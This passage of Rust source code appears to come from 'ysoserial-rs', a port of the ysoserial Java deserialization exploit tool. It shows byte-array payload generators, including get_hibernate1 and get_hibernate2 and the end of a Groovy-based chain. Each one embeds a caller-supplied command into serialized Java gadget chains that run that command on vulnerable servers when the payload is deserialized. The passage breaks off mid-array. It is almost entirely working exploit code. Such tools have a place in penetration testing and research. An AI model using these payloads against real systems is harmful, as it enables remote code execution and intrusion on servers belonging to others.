109, 117, 109, 78, 117, 109, 98, 101, 114, 79, 102, 80, 97, 114, 97, 109, 36 | 101, 116, 101, 114, 115, 73, 0, 15, 114, 101, 115, 111, 108, 118, 101, 83, 116, 114, 97, 37 | 116, 101, 103, 121, 76, 0, 3, 98, 99, 119, 116, 0, 60, 76, 111, 114, 103, 47, 99, 111, 100, 38 | 101, 104, 97, 117, 115, 47, 103, 114, 111, 111, 118, 121, 47, 114, 117, 110, 116, 105, 109, 39 | 101, 47, 99, 97, 108, 108, 115, 105, 116, 101, 47, 66, 111, 111, 108, 101, 97, 110, 67, 40 | 108, 111, 115, 117, 114, 101, 87, 114, 97, 112, 112, 101, 114, 59, 76, 0, 8, 100, 101, 108, 41 | 101, 103, 97, 116, 101, 113, 0, 126, 0, 11, 76, 0, 5, 111, 119, 110, 101, 114, 113, 0, 126, 42 | 0, 11, 91, 0, 14, 112, 97, 114, 97, 109, 101, 116, 101, 114, 84, 121, 112, 101, 115, 116, 43 | 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 76, 44 | 0, 10, 116, 104, 105, 115, 79, 98, 106, 101, 99, 116, 113, 0, 126, 0, 11, 120, 112, 0, 0, 45 | 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 112, 46 | ] 47 | .to_vec(); 48 | result_bytes.extend(generate_string(cmd)); 49 | result_bytes.extend([ 50 | 113, 0, 126, 0, 19, 117, 114, 0, 18, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 51 | 67, 108, 97, 115, 115, 59, 171, 22, 215, 174, 203, 205, 90, 153, 2, 0, 0, 120, 112, 0, 0, 52 | 0, 2, 118, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 83, 116, 114, 53 | 105, 110, 103, 59, 173, 210, 86, 231, 233, 29, 123, 71, 2, 0, 0, 120, 112, 118, 114, 0, 12, 54 | 106, 97, 118, 97, 46, 105, 111, 46, 70, 105, 108, 101, 4, 45, 164, 69, 14, 13, 228, 255, 3, 55 | 0, 1, 76, 0, 4, 112, 97, 116, 104, 113, 0, 126, 0, 9, 120, 112, 112, 116, 0, 7, 101, 120, 56 | 101, 99, 117, 116, 101, 115, 114, 0, 38, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 57 | 111, 110, 99, 117, 114, 114, 101, 110, 116, 46, 67, 111, 110, 99, 117, 114, 114, 101, 110, 58 | 116, 72, 97, 115, 104, 77, 97, 112, 100, 153, 222, 18, 157, 135, 41, 61, 3, 0, 3, 73, 0, 59 | 11, 115, 101, 103, 109, 101, 110, 116, 77, 97, 115, 107, 73, 0, 12, 115, 101, 103, 109, 60 | 101, 110, 116, 83, 104, 105, 102, 116, 91, 0, 8, 115, 101, 103, 109, 101, 110, 116, 115, 61 | 116, 0, 49, 91, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 111, 110, 99, 117, 62 | 114, 114, 101, 110, 116, 47, 67, 111, 110, 99, 117, 114, 114, 101, 110, 116, 72, 97, 115, 63 | 104, 77, 97, 112, 36, 83, 101, 103, 109, 101, 110, 116, 59, 120, 112, 0, 0, 0, 15, 0, 0, 0, 64 | 28, 117, 114, 0, 49, 91, 76, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 65 | 99, 117, 114, 114, 101, 110, 116, 46, 67, 111, 110, 99, 117, 114, 114, 101, 110, 116, 72, 66 | 97, 115, 104, 77, 97, 112, 36, 83, 101, 103, 109, 101, 110, 116, 59, 82, 119, 63, 65, 50, 67 | 155, 57, 116, 2, 0, 0, 120, 112, 0, 0, 0, 16, 115, 114, 0, 46, 106, 97, 118, 97, 46, 117, 68 | 116, 105, 108, 46, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 46, 67, 111, 110, 99, 69 | 117, 114, 114, 101, 110, 116, 72, 97, 115, 104, 77, 97, 112, 36, 83, 101, 103, 109, 101, 70 | 110, 116, 31, 54, 76, 144, 88, 147, 41, 61, 2, 0, 1, 70, 0, 10, 108, 111, 97, 100, 70, 97, 71 | 99, 116, 111, 114, 120, 114, 0, 40, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 72 | 110, 99, 117, 114, 114, 101, 110, 116, 46, 108, 111, 99, 107, 115, 46, 82, 101, 101, 110, 73 | 116, 114, 97, 110, 116, 76, 111, 99, 107, 102, 85, 168, 44, 44, 200, 106, 235, 2, 0, 1, 76, 74 | 0, 4, 115, 121, 110, 99, 116, 0, 47, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 99, 75 | 111, 110, 99, 117, 114, 114, 101, 110, 116, 47, 108, 111, 99, 107, 115, 47, 82, 101, 101, 76 | 110, 116, 114, 97, 110, 116, 76, 111, 99, 107, 36, 83, 121, 110, 99, 59, 120, 112, 115, 77 | 114, 0, 52, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 99, 117, 114, 114, 78 | 101, 110, 116, 46, 108, 111, 99, 107, 115, 46, 82, 101, 101, 110, 116, 114, 97, 110, 116, 79 | 76, 111, 99, 107, 36, 78, 111, 110, 102, 97, 105, 114, 83, 121, 110, 99, 101, 136, 50, 231, 80 | 83, 123, 191, 11, 2, 0, 0, 120, 114, 0, 45, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 81 | 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 46, 108, 111, 99, 107, 115, 46, 82, 101, 82 | 101, 110, 116, 114, 97, 110, 116, 76, 111, 99, 107, 36, 83, 121, 110, 99, 184, 30, 162, 83 | 148, 170, 68, 90, 124, 2, 0, 0, 120, 114, 0, 53, 106, 97, 118, 97, 46, 117, 116, 105, 108, 84 | 46, 99, 111, 110, 99, 117, 114, 114, 101, 110, 116, 46, 108, 111, 99, 107, 115, 46, 65, 98, 85 | 115, 116, 114, 97, 99, 116, 81, 117, 101, 117, 101, 100, 83, 121, 110, 99, 104, 114, 111, 86 | 110, 105, 122, 101, 114, 102, 85, 168, 67, 117, 63, 82, 227, 2, 0, 1, 73, 0, 5, 115, 116, 87 | 97, 116, 101, 120, 114, 0, 54, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 99, 111, 110, 88 | 99, 117, 114, 114, 101, 110, 116, 46, 108, 111, 99, 107, 115, 46, 65, 98, 115, 116, 114, 89 | 97, 99, 116, 79, 119, 110, 97, 98, 108, 101, 83, 121, 110, 99, 104, 114, 111, 110, 105, 90 | 122, 101, 114, 51, 223, 175, 185, 173, 109, 111, 169, 2, 0, 0, 120, 112, 0, 0, 0, 0, 63, 91 | 64, 0, 0, 115, 113, 0, 126, 0, 32, 115, 113, 0, 126, 0, 36, 0, 0, 0, 0, 63, 64, 0, 0, 115, 92 | 113, 0, 126, 0, 32, 115, 113, 0, 126, 0, 36, 0, 0, 0, 0, 63, 64, 0, 0, 115, 113, 0, 126, 0, 93 | 32, 115, 113, 0, 126, 0, 36, 0, 0, 0, 0, 63, 64, 0, 0, 115, 113, 0, 126, 0, 32, 115, 113, 94 | 0, 126, 0, 36, 0, 0, 0, 0, 63, 64, 0, 0, 115, 113, 0, 126, 0, 32, 115, 113, 0, 126, 0, 36, 95 | 0, 0, 0, 0, 63, 64, 0, 0, 115, 113, 0, 126, 0, 32, 115, 113, 0, 126, 0, 36, 0, 0, 0, 0, 63, 96 | 64, 0, 0, 115, 113, 0, 126, 0, 32, 115, 113, 0, 126, 0, 36, 0, 0, 0, 0, 63, 64, 0, 0, 115, 97 | 113, 0, 126, 0, 32, 115, 113, 0, 126, 0, 36, 0, 0, 0, 0, 63, 64, 0, 0, 115, 113, 0, 126, 0, 98 | 32, 115, 113, 0, 126, 0, 36, 0, 0, 0, 0, 63, 64, 0, 0, 115, 113, 0, 126, 0, 32, 115, 113, 99 | 0, 126, 0, 36, 0, 0, 0, 0, 63, 64, 0, 0, 115, 113, 0, 126, 0, 32, 115, 113, 0, 126, 0, 36, 100 | 0, 0, 0, 0, 63, 64, 0, 0, 115, 113, 0, 126, 0, 32, 115, 113, 0, 126, 0, 36, 0, 0, 0, 0, 63, 101 | 64, 0, 0, 115, 113, 0, 126, 0, 32, 115, 113, 0, 126, 0, 36, 0, 0, 0, 0, 63, 64, 0, 0, 115, 102 | 113, 0, 126, 0, 32, 115, 113, 0, 126, 0, 36, 0, 0, 0, 0, 63, 64, 0, 0, 115, 113, 0, 126, 0, 103 | 32, 115, 113, 0, 126, 0, 36, 0, 0, 0, 0, 63, 64, 0, 0, 112, 112, 120, 116, 0, 8, 101, 110, 104 | 116, 114, 121, 83, 101, 116, 118, 114, 0, 18, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 105 | 79, 118, 101, 114, 114, 105, 100, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 120, 112, 106 | ]); 107 | result_bytes 108 | } 109 | -------------------------------------------------------------------------------- /ysoserial-rs/src/hibernate.rs: -------------------------------------------------------------------------------- 1 | use crate::base::generate_string; 2 | use crate::template_impl::get_f_template_impl; 3 | 4 | pub fn get_hibernate1(cmd: &str) -> Vec { 5 | let mut result_bytes = [ 6 | 172, 237, 0, 5, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 7 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 8 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 9 | 63, 64, 0, 0, 0, 0, 0, 0, 119, 8, 0, 0, 0, 2, 0, 0, 0, 2, 115, 114, 0, 35, 111, 114, 103, 10 | 46, 104, 105, 98, 101, 114, 110, 97, 116, 101, 46, 101, 110, 103, 105, 110, 101, 46, 115, 11 | 112, 105, 46, 84, 121, 112, 101, 100, 86, 97, 108, 117, 101, 135, 136, 20, 178, 25, 161, 12 | 231, 60, 2, 0, 2, 76, 0, 4, 116, 121, 112, 101, 116, 0, 25, 76, 111, 114, 103, 47, 104, 13 | 105, 98, 101, 114, 110, 97, 116, 101, 47, 116, 121, 112, 101, 47, 84, 121, 112, 101, 59, 14 | 76, 0, 5, 118, 97, 108, 117, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 15 | 47, 79, 98, 106, 101, 99, 116, 59, 120, 112, 115, 114, 0, 32, 111, 114, 103, 46, 104, 105, 16 | 98, 101, 114, 110, 97, 116, 101, 46, 116, 121, 112, 101, 46, 67, 111, 109, 112, 111, 110, 17 | 101, 110, 116, 84, 121, 112, 101, 75, 45, 25, 5, 49, 162, 195, 117, 2, 0, 12, 90, 0, 18, 18 | 104, 97, 115, 78, 111, 116, 78, 117, 108, 108, 80, 114, 111, 112, 101, 114, 116, 121, 90, 19 | 0, 5, 105, 115, 75, 101, 121, 73, 0, 12, 112, 114, 111, 112, 101, 114, 116, 121, 83, 112, 20 | 97, 110, 76, 0, 15, 99, 97, 110, 68, 111, 69, 120, 116, 114, 97, 99, 116, 105, 111, 110, 21 | 116, 0, 19, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 66, 111, 111, 108, 101, 97, 22 | 110, 59, 91, 0, 7, 99, 97, 115, 99, 97, 100, 101, 116, 0, 40, 91, 76, 111, 114, 103, 47, 23 | 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 101, 110, 103, 105, 110, 101, 47, 115, 112, 24 | 105, 47, 67, 97, 115, 99, 97, 100, 101, 83, 116, 121, 108, 101, 59, 76, 0, 17, 99, 111, 25 | 109, 112, 111, 110, 101, 110, 116, 84, 117, 112, 108, 105, 122, 101, 114, 116, 0, 49, 76, 26 | 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 116, 117, 112, 108, 101, 27 | 47, 99, 111, 109, 112, 111, 110, 101, 110, 116, 47, 67, 111, 109, 112, 111, 110, 101, 110, 28 | 116, 84, 117, 112, 108, 105, 122, 101, 114, 59, 76, 0, 10, 101, 110, 116, 105, 116, 121, 29 | 77, 111, 100, 101, 116, 0, 26, 76, 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 30 | 101, 47, 69, 110, 116, 105, 116, 121, 77, 111, 100, 101, 59, 91, 0, 11, 106, 111, 105, 110, 31 | 101, 100, 70, 101, 116, 99, 104, 116, 0, 26, 91, 76, 111, 114, 103, 47, 104, 105, 98, 101, 32 | 114, 110, 97, 116, 101, 47, 70, 101, 116, 99, 104, 77, 111, 100, 101, 59, 91, 0, 13, 112, 33 | 114, 111, 112, 101, 114, 116, 121, 78, 97, 109, 101, 115, 116, 0, 19, 91, 76, 106, 97, 118, 34 | 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 0, 19, 112, 114, 111, 35 | 112, 101, 114, 116, 121, 78, 117, 108, 108, 97, 98, 105, 108, 105, 116, 121, 116, 0, 2, 91, 36 | 90, 91, 0, 13, 112, 114, 111, 112, 101, 114, 116, 121, 84, 121, 112, 101, 115, 116, 0, 26, 37 | 91, 76, 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 116, 121, 112, 38 | 101, 47, 84, 121, 112, 101, 59, 76, 0, 9, 116, 121, 112, 101, 83, 99, 111, 112, 101, 116, 39 | 0, 42, 76, 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 116, 121, 112, 40 | 101, 47, 84, 121, 112, 101, 70, 97, 99, 116, 111, 114, 121, 36, 84, 121, 112, 101, 83, 99, 41 | 111, 112, 101, 59, 120, 114, 0, 31, 111, 114, 103, 46, 104, 105, 98, 101, 114, 110, 97, 42 | 116, 101, 46, 116, 121, 112, 101, 46, 65, 98, 115, 116, 114, 97, 99, 116, 84, 121, 112, 43 | 101, 250, 12, 195, 180, 159, 66, 221, 65, 2, 0, 0, 120, 112, 0, 0, 0, 0, 0, 1, 112, 112, 44 | 115, 114, 0, 51, 111, 114, 103, 46, 104, 105, 98, 101, 114, 110, 97, 116, 101, 46, 116, 45 | 117, 112, 108, 101, 46, 99, 111, 109, 112, 111, 110, 101, 110, 116, 46, 80, 111, 106, 111, 46 | 67, 111, 109, 112, 111, 110, 101, 110, 116, 84, 117, 112, 108, 105, 122, 101, 114, 181, 47 | 158, 83, 146, 108, 119, 8, 250, 2, 0, 4, 76, 0, 14, 99, 111, 109, 112, 111, 110, 101, 110, 48 | 116, 67, 108, 97, 115, 115, 116, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 49 | 67, 108, 97, 115, 115, 59, 76, 0, 9, 111, 112, 116, 105, 109, 105, 122, 101, 114, 116, 0, 50 | 48, 76, 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 98, 121, 116, 51 | 101, 99, 111, 100, 101, 47, 115, 112, 105, 47, 82, 101, 102, 108, 101, 99, 116, 105, 111, 52 | 110, 79, 112, 116, 105, 109, 105, 122, 101, 114, 59, 76, 0, 12, 112, 97, 114, 101, 110, 53 | 116, 71, 101, 116, 116, 101, 114, 116, 0, 31, 76, 111, 114, 103, 47, 104, 105, 98, 101, 54 | 114, 110, 97, 116, 101, 47, 112, 114, 111, 112, 101, 114, 116, 121, 47, 71, 101, 116, 116, 55 | 101, 114, 59, 76, 0, 12, 112, 97, 114, 101, 110, 116, 83, 101, 116, 116, 101, 114, 116, 0, 56 | 31, 76, 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 112, 114, 111, 57 | 112, 101, 114, 116, 121, 47, 83, 101, 116, 116, 101, 114, 59, 120, 114, 0, 55, 111, 114, 58 | 103, 46, 104, 105, 98, 101, 114, 110, 97, 116, 101, 46, 116, 117, 112, 108, 101, 46, 99, 59 | 111, 109, 112, 111, 110, 101, 110, 116, 46, 65, 98, 115, 116, 114, 97, 99, 116, 67, 111, 60 | 109, 112, 111, 110, 101, 110, 116, 84, 117, 112, 108, 105, 122, 101, 114, 207, 18, 88, 98, 61 | 174, 9, 230, 116, 2, 0, 5, 90, 0, 18, 104, 97, 115, 67, 117, 115, 116, 111, 109, 65, 99, 62 | 99, 101, 115, 115, 111, 114, 115, 73, 0, 12, 112, 114, 111, 112, 101, 114, 116, 121, 83, 63 | 112, 97, 110, 91, 0, 7, 103, 101, 116, 116, 101, 114, 115, 116, 0, 32, 91, 76, 111, 114, 64 | 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 112, 114, 111, 112, 101, 114, 116, 65 | 121, 47, 71, 101, 116, 116, 101, 114, 59, 76, 0, 12, 105, 110, 115, 116, 97, 110, 116, 105, 66 | 97, 116, 111, 114, 116, 0, 34, 76, 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 67 | 101, 47, 116, 117, 112, 108, 101, 47, 73, 110, 115, 116, 97, 110, 116, 105, 97, 116, 111, 68 | 114, 59, 91, 0, 7, 115, 101, 116, 116, 101, 114, 115, 116, 0, 32, 91, 76, 111, 114, 103, 69 | 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 112, 114, 111, 112, 101, 114, 116, 121, 70 | 47, 83, 101, 116, 116, 101, 114, 59, 120, 112, 0, 0, 0, 0, 0, 117, 114, 0, 32, 91, 76, 111, 71 | 114, 103, 46, 104, 105, 98, 101, 114, 110, 97, 116, 101, 46, 112, 114, 111, 112, 101, 114, 72 | 116, 121, 46, 71, 101, 116, 116, 101, 114, 59, 248, 150, 252, 169, 141, 251, 227, 123, 2, 73 | 0, 0, 120, 112, 0, 0, 0, 1, 115, 114, 0, 56, 111, 114, 103, 46, 104, 105, 98, 101, 114, 74 | 110, 97, 116, 101, 46, 112, 114, 111, 112, 101, 114, 116, 121, 46, 66, 97, 115, 105, 99, 75 | 80, 114, 111, 112, 101, 114, 116, 121, 65, 99, 99, 101, 115, 115, 111, 114, 36, 66, 97, 76 | 115, 105, 99, 71, 101, 116, 116, 101, 114, 231, 252, 26, 59, 152, 221, 113, 188, 2, 0, 2, 77 | 76, 0, 5, 99, 108, 97, 122, 122, 113, 0, 126, 0, 19, 76, 0, 12, 112, 114, 111, 112, 101, 78 | 114, 116, 121, 78, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 79 | 47, 83, 116, 114, 105, 110, 103, 59, 120, 112, 118, 114, 0, 58, 99, 111, 109, 46, 115, 117, 80 | 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 110, 46, 105, 81 | 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 97, 120, 46, 82 | 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, 193, 110, 172, 83 | 171, 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 114, 84 | 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 91, 0, 10, 85 | 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 86 | 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 87 | 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 109, 101, 113, 0, 126, 0, 31, 76, 0, 17, 95, 88 | 111, 117, 116, 112, 117, 116, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 89 | 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 90 | 101, 115, 59, 120, 112, 116, 0, 16, 111, 117, 116, 112, 117, 116, 80, 114, 111, 112, 101, 91 | 114, 116, 105, 101, 115, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 117, 114, 0, 26, 92 | 91, 76, 111, 114, 103, 46, 104, 105, 98, 101, 114, 110, 97, 116, 101, 46, 116, 121, 112, 93 | 101, 46, 84, 121, 112, 101, 59, 126, 175, 171, 161, 228, 149, 97, 154, 2, 0, 0, 120, 112, 94 | 0, 0, 0, 1, 113, 0, 126, 0, 17, 112, 115, 113, 0, 126, 0, 33, 0, 0, 0, 0, 255, 255, 255, 95 | 255, 117, 114, 0, 3, 91, 91, 66, 75, 253, 25, 21, 103, 103, 219, 55, 2, 0, 0, 120, 112, 0, 96 | 0, 0, 1, 117, 114, 0, 2, 91, 66, 172, 243, 23, 248, 6, 8, 84, 224, 2, 0, 0, 120, 112, 97 | ] 98 | .to_vec(); 99 | let template_impl = get_f_template_impl(cmd); 100 | let byte_len = template_impl.len() as u32; 101 | result_bytes.extend(byte_len.to_be_bytes()); 102 | result_bytes.extend(&template_impl); 103 | result_bytes.extend([ 104 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 113, 0, 126, 0, 5, 115, 113, 0, 105 | 126, 0, 2, 113, 0, 126, 0, 17, 113, 0, 126, 0, 41, 113, 0, 126, 0, 47, 120, 106 | ]); 107 | result_bytes 108 | } 109 | pub fn get_hibernate2(cmd: &str) -> Vec { 110 | let mut result_bytes = [ 111 | 172, 237, 0, 5, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 112 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 113 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 114 | 63, 64, 0, 0, 0, 0, 0, 0, 119, 8, 0, 0, 0, 2, 0, 0, 0, 2, 115, 114, 0, 35, 111, 114, 103, 115 | 46, 104, 105, 98, 101, 114, 110, 97, 116, 101, 46, 101, 110, 103, 105, 110, 101, 46, 115, 116 | 112, 105, 46, 84, 121, 112, 101, 100, 86, 97, 108, 117, 101, 135, 136, 20, 178, 25, 161, 117 | 231, 60, 2, 0, 2, 76, 0, 4, 116, 121, 112, 101, 116, 0, 25, 76, 111, 114, 103, 47, 104, 118 | 105, 98, 101, 114, 110, 97, 116, 101, 47, 116, 121, 112, 101, 47, 84, 121, 112, 101, 59, 119 | 76, 0, 5, 118, 97, 108, 117, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 120 | 47, 79, 98, 106, 101, 99, 116, 59, 120, 112, 115, 114, 0, 32, 111, 114, 103, 46, 104, 105, 121 | 98, 101, 114, 110, 97, 116, 101, 46, 116, 121, 112, 101, 46, 67, 111, 109, 112, 111, 110, 122 | 101, 110, 116, 84, 121, 112, 101, 75, 45, 25, 5, 49, 162, 195, 117, 2, 0, 12, 90, 0, 18, 123 | 104, 97, 115, 78, 111, 116, 78, 117, 108, 108, 80, 114, 111, 112, 101, 114, 116, 121, 90, 124 | 0, 5, 105, 115, 75, 101, 121, 73, 0, 12, 112, 114, 111, 112, 101, 114, 116, 121, 83, 112, 125 | 97, 110, 76, 0, 15, 99, 97, 110, 68, 111, 69, 120, 116, 114, 97, 99, 116, 105, 111, 110, 126 | 116, 0, 19, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 66, 111, 111, 108, 101, 97, 127 | 110, 59, 91, 0, 7, 99, 97, 115, 99, 97, 100, 101, 116, 0, 40, 91, 76, 111, 114, 103, 47, 128 | 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 101, 110, 103, 105, 110, 101, 47, 115, 112, 129 | 105, 47, 67, 97, 115, 99, 97, 100, 101, 83, 116, 121, 108, 101, 59, 76, 0, 17, 99, 111, 130 | 109, 112, 111, 110, 101, 110, 116, 84, 117, 112, 108, 105, 122, 101, 114, 116, 0, 49, 76, 131 | 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 116, 117, 112, 108, 101, 132 | 47, 99, 111, 109, 112, 111, 110, 101, 110, 116, 47, 67, 111, 109, 112, 111, 110, 101, 110, 133 | 116, 84, 117, 112, 108, 105, 122, 101, 114, 59, 76, 0, 10, 101, 110, 116, 105, 116, 121, 134 | 77, 111, 100, 101, 116, 0, 26, 76, 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 135 | 101, 47, 69, 110, 116, 105, 116, 121, 77, 111, 100, 101, 59, 91, 0, 11, 106, 111, 105, 110, 136 | 101, 100, 70, 101, 116, 99, 104, 116, 0, 26, 91, 76, 111, 114, 103, 47, 104, 105, 98, 101, 137 | 114, 110, 97, 116, 101, 47, 70, 101, 116, 99, 104, 77, 111, 100, 101, 59, 91, 0, 13, 112, 138 | 114, 111, 112, 101, 114, 116, 121, 78, 97, 109, 101, 115, 116, 0, 19, 91, 76, 106, 97, 118, 139 | 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 0, 19, 112, 114, 111, 140 | 112, 101, 114, 116, 121, 78, 117, 108, 108, 97, 98, 105, 108, 105, 116, 121, 116, 0, 2, 91, 141 | 90, 91, 0, 13, 112, 114, 111, 112, 101, 114, 116, 121, 84, 121, 112, 101, 115, 116, 0, 26, 142 | 91, 76, 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 116, 121, 112, 143 | 101, 47, 84, 121, 112, 101, 59, 76, 0, 9, 116, 121, 112, 101, 83, 99, 111, 112, 101, 116, 144 | 0, 42, 76, 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 116, 121, 112, 145 | 101, 47, 84, 121, 112, 101, 70, 97, 99, 116, 111, 114, 121, 36, 84, 121, 112, 101, 83, 99, 146 | 111, 112, 101, 59, 120, 114, 0, 31, 111, 114, 103, 46, 104, 105, 98, 101, 114, 110, 97, 147 | 116, 101, 46, 116, 121, 112, 101, 46, 65, 98, 115, 116, 114, 97, 99, 116, 84, 121, 112, 148 | 101, 250, 12, 195, 180, 159, 66, 221, 65, 2, 0, 0, 120, 112, 0, 0, 0, 0, 0, 1, 112, 112, 149 | 115, 114, 0, 51, 111, 114, 103, 46, 104, 105, 98, 101, 114, 110, 97, 116, 101, 46, 116, 150 | 117, 112, 108, 101, 46, 99, 111, 109, 112, 111, 110, 101, 110, 116, 46, 80, 111, 106, 111, 151 | 67, 111, 109, 112, 111, 110, 101, 110, 116, 84, 117, 112, 108, 105, 122, 101, 114, 181, 152 | 158, 83, 146, 108, 119, 8, 250, 2, 0, 4, 76, 0, 14, 99, 111, 109, 112, 111, 110, 101, 110, 153 | 116, 67, 108, 97, 115, 115, 116, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 154 | 67, 108, 97, 115, 115, 59, 76, 0, 9, 111, 112, 116, 105, 109, 105, 122, 101, 114, 116, 0, 155 | 48, 76, 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 98, 121, 116, 156 | 101, 99, 111, 100, 101, 47, 115, 112, 105, 47, 82, 101, 102, 108, 101, 99, 116, 105, 111, 157 | 110, 79, 112, 116, 105, 109, 105, 122, 101, 114, 59, 76, 0, 12, 112, 97, 114, 101, 110, 158 | 116, 71, 101, 116, 116, 101, 114, 116, 0, 31, 76, 111, 114, 103, 47, 104, 105, 98, 101, 159 | 114, 110, 97, 116, 101, 47, 112, 114, 111, 112, 101, 114, 116, 121, 47, 71, 101, 116, 116, 160 | 101, 114, 59, 76, 0, 12, 112, 97, 114, 101, 110, 116, 83, 101, 116, 116, 101, 114, 116, 0, 161 | 31, 76, 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 112, 114, 111, 162 | 112, 101, 114, 116, 121, 47, 83, 101, 116, 116, 101, 114, 59, 120, 114, 0, 55, 111, 114, 163 | 103, 46, 104, 105, 98, 101, 114, 110, 97, 116, 101, 46, 116, 117, 112, 108, 101, 46, 99, 164 | 111, 109, 112, 111, 110, 101, 110, 116, 46, 65, 98, 115, 116, 114, 97, 99, 116, 67, 111, 165 | 109, 112, 111, 110, 101, 110, 116, 84, 117, 112, 108, 105, 122, 101, 114, 207, 18, 88, 98, 166 | 174, 9, 230, 116, 2, 0, 5, 90, 0, 18, 104, 97, 115, 67, 117, 115, 116, 111, 109, 65, 99, 167 | 99, 101, 115, 115, 111, 114, 115, 73, 0, 12, 112, 114, 111, 112, 101, 114, 116, 121, 83, 168 | 112, 97, 110, 91, 0, 7, 103, 101, 116, 116, 101, 114, 115, 116, 0, 32, 91, 76, 111, 114, 169 | 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 112, 114, 111, 112, 101, 114, 116, 170 | 121, 47, 71, 101, 116, 116, 101, 114, 59, 76, 0, 12, 105, 110, 115, 116, 97, 110, 116, 105, 171 | 97, 116, 111, 114, 116, 0, 34, 76, 111, 114, 103, 47, 104, 105, 98, 101, 114, 110, 97, 116, 172 | 101, 47, 116, 117, 112, 108, 101, 47, 73, 110, 115, 116, 97, 110, 116, 105, 97, 116, 111, 173 | 114, 59, 91, 0, 7, 115, 101, 116, 116, 101, 114, 115, 116, 0, 32, 91, 76, 111, 114, 103, 174 | 47, 104, 105, 98, 101, 114, 110, 97, 116, 101, 47, 112, 114, 111, 112, 101, 114, 116, 121, 175 | 47, 83, 101, 116, 116, 101, 114, 59, 120, 112, 0, 0, 0, 0, 0, 117, 114, 0, 32, 91, 76, 111, 176 | 114, 103, 46, 104, 105, 98, 101, 114, 110, 97, 116, 101, 46, 112, 114, 111, 112, 101, 114, 177 | 116, 121, 46, 71, 101, 116, 116, 101, 114, 59, 248, 150, 252, 169, 141, 251, 227, 123, 2, 178 | 0, 0, 120, 112, 0, 0, 